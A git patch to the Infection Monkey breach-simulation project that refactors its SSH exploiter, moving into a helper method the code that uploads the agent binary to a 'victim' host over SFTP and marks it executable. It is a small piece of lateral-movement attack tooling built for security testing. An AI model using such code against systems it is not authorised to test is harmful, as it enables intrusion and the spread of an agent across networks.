From dc8a0ac2ad58748cc2f044e3151685f86dc87807 Mon Sep 17 00:00:00 2001
From: Kekoa Kaaikala <kekoa.kaaikala@gmail.com>
Date: Tue, 4 Oct 2022 21:13:49 +0000
Subject: [PATCH] Agent: Extract method _upload_agent_binary

---
 monkey/infection_monkey/exploit/sshexec.py | 42 +++++++++++++---------
 1 file changed, 25 insertions(+), 17 deletions(-)

diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 5c685b7fe..1b53ba7db 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -256,23 +256,7 @@ class SSHExploiter(HostExploiter):
 
         monkey_path_on_victim = get_agent_dst_path(self.host)
 
-        try:
-            with ssh.open_sftp() as ftp:
-                ftp.putfo(
-                    agent_binary_file_object,
-                    str(monkey_path_on_victim),
-                    file_size=len(agent_binary_file_object.getbuffer()),
-                    callback=self.log_transfer,
-                )
-                self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
-
-            status = ScanStatus.USED
-        except Exception as exc:
-            self.exploit_result.error_message = (
-                f"Error uploading file into victim {self.host}: ({exc})"
-            )
-            logger.error(self.exploit_result.error_message)
-            status = ScanStatus.SCANNED
+        status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
 
         self.telemetry_messenger.send_telemetry(
             T1105Telem(
@@ -332,6 +316,30 @@ class SSHExploiter(HostExploiter):
             logger.error(self.exploit_result.error_message)
             return self.exploit_result
 
+    def _upload_agent_binary(
+        self,
+        ssh: paramiko.SSHClient,
+        agent_binary_file_object: io.BytesIO,
+        monkey_path_on_victim: PurePath,
+    ) -> ScanStatus:
+        try:
+            with ssh.open_sftp() as ftp:
+                ftp.putfo(
+                    agent_binary_file_object,
+                    str(monkey_path_on_victim),
+                    file_size=len(agent_binary_file_object.getbuffer()),
+                    callback=self.log_transfer,
+                )
+                self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
+
+            return ScanStatus.USED
+        except Exception as exc:
+            self.exploit_result.error_message = (
+                f"Error uploading file into victim {self.host}: ({exc})"
+            )
+            logger.error(self.exploit_result.error_message)
+            return ScanStatus.SCANNED
+
     def _set_executable_bit_on_agent_binary(
         self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
     ):